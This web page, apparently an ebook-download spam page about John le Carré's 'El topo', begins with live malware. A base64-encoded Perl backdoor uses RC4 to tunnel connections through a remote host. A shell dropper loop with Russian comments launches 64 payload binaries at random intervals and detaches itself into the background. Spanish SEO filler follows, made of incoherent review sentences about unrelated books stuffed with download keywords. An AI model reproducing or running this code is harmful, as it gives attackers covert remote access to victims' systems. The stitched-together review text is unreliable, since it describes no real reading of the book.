KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } # Запуск полезной нагрузки с интервалами drop_and_run bin_0 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_1 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_2 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_3 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_4 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_5 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_6 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_7 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_8 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_9 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_10 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_11 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_12 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_13 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_14 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_15 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_16 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_17 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_18 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_19 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_20 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_21 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_22 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_23 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_24 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_25 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_26 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_27 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_28 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_29 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_30 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_31 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_32 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_33 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_34 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_35 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_36 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_37 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_38 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_39 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_40 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_41 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_42 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_43 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_44 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_45 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_46 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_47 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_48 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_49 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_50 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_51 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_52 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_53 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_54 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_55 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_56 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_57 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_58 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_59 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_60 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_61 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_62 sleep $(( 5 + RANDOM % 11 )) drop_and_run bin_63 sleep $(( 5 + RANDOM % 11 )) # Большая пауза перед следующим кругом проверки sleep $RESTART_INTERVAL done } # Отвязываем сам main_loop от текущей оболочки (main_loop >/dev/null 2>&1 &) exit 0 El topo : PDF – Rosie’s Bites

Rosie’s Bites

El topo : PDF

El topo John Le Carré

Aunque no es un libro perfecto, sus defectos son menores en comparación con sus muchas fortalezas, lo que lo hace una lectura atractiva e inolvidable. La lectura es un viaje de descubrimiento, uno que nos lleva a lugares y tiempos desconocidos. El estilo de escritura fue conciso y económico, con cada palabra descargar ebook elegida para transmitir un sentido de precisión y claridad. La descripción del mundo fue tan detallada que me sentí como si estuviera caminando por sus calles y paisajes, descubriendo secretos y maravillas en cada esquina.

El autor logró crear un mundo tan inmersivo que me olvidé de mi entorno, perdiéndome en la rica tapestry de la narrativa. La forma en que el autor entretejió los hilos de la historia creó un tapiz rico y detallado que me hizo sentir como si estuviera parte de ella. La historia es un recordatorio de que los momentos más simples pueden ser los más significativos. La serie concluyó en un tono alto, con la entrega descargar epub brindando una sensación de cierre que fue a la vez satisfactoria y conmovedora, aunque el epílogo, que normalmente ocupaba un lugar especial en mi corazón, se sintió un poco eclipsado por la narrativa precedente.

La forma en que la autora reimaginó la vida y las obras de Shakespeare fue muy valiente y audaz, y se sentía muy fresca y innovadora. La lectura de esta historia es como estar en el borde de un precipicio, sin saber qué va a pasar a continuación. En el mar de libros que existen, encontrar uno que hable directamente a ti puede ser una tarea abrumadora, pero el viaje vale la pena. La libro pdf gratis se vuelve más emocionante con cada nuevo libro, manteniéndome al borde del asiento.

eBooks (EPUB, PDF) El topo

La lealtad es un El topo central que se explora con gran descargar epub y descargar pdf

Las aventuras de Chester Cricket son una lectura encantadora, con una trama simple pero atractiva que captura pdf libro encanto de la vida cotidiana. La literatura puede ser una forma de explorar gratis pdf complejos y difíciles de una manera segura y controlada. Seré honesto, estaba escéptico sobre este libro al principio, pero a medida El topo leía, El topo encontré cada vez más invertido en los personajes y sus historias.

La lectura nos invita a explorar perspectivas nuevas y a reconsiderar nuestras propias convicciones. No pude evitar sentir una sensación de decepción, una sensación de que el libro había prometido más de lo que libro como un regalo que estaba hermosamente envuelto pero vacío por dentro, su contenido un misterio que El topo sin resolver. Al final, supongo que este libro permanecerá como una nota al pie en mi viaje de lectura, un recordatorio de que incluso las historias más prometedoras pueden caer planas si no se les da la atención y el cuidado kindle merecen.

John Le Carré libro pdf descargar

Cada libro de Yates es una joya literaria que pdf gratis deja de sorprender. Aunque la premisa es intrigante, la ejecución queda un poco plana, dejando espacio para mejoras. La lectura de un libro que ha sido escrito con pasión y dedicación es una experiencia que puede español la vida, y es algo que debemos buscar siempre. El mundo creado por el autor era tan vívido que me sentí inmerso en él, experimentando libro en pdf emoción junto a los personajes.

La novela me impresionó por su capacidad para explorar las relaciones con una profundidad y una libro pdf descargar que pocas veces he visto en otros libros. Al final, fueron español momentos más silenciosos del libro, los que el autor despoja de El topo leer expone el corazón del asunto, los que dejaron la mayor impresión en mí, un recordatorio del poder de la simplicidad y la contención en la narrativa. La construcción del mundo era meticulosa, una ciudad vasta con detalles intrincados, pero los habitantes parecían recortes de cartón, careciendo de la profundidad y complejidad que uno anhela.

Cada libro gratis pdf parecía prometedor, El topo la ejecución fue deficiente, resultando en una lectura insatisfactoria. Hay una belleza conmovedora en la escritura, un tono melancólico que online la narrativa como un suspiro triste.

El topo pdf

La lectura se convirtió en un ejercicio de introspección, donde las palabras de la autora me libro gratis pdf a encontrar un sentido El topo propósito y dirección. La narrativa se desplegó con una simplicidad conmovedora que ocultaba temas complejos, una exploración poderosa y provocativa de la condición humana. ¿Qué es lo que nos hace sentir atraídos por la incertidumbre y la ambigüedad, y a buscar respuestas en los lugares más inesperados? Las ilustraciones en este pdf gratis son un verdadero placer, trayendo cada letra del alfabeto a la vida. La página U, con sus pájaros cómicamente feos, es un favorito personal.

El topo autora logra capturar El topo esencia de cada individuo, creando un universo de personajes que parecen cobrar vida. En medio de un mundo caótico y a menudo abrumador, este libro fue un faro de esperanza, un recordatorio del poder del amor y la compasión para superar incluso los desafíos más intimidantes.

A pesar de sus muchas fortalezas, la historia finalmente se sintió algo desigual, una narrativa meandrosa y episódica que libro pdf por encontrar su equilibrio. El uso del realismo mágico en el libro añadió una capa única y cautivadora a descargar pdf narrativa, pero a veces parecía un truco. La forma en que la historia se desarrolla es tan emocional que me hizo reflexionar sobre mis propias experiencias y cómo las relaciono con la narrativa.

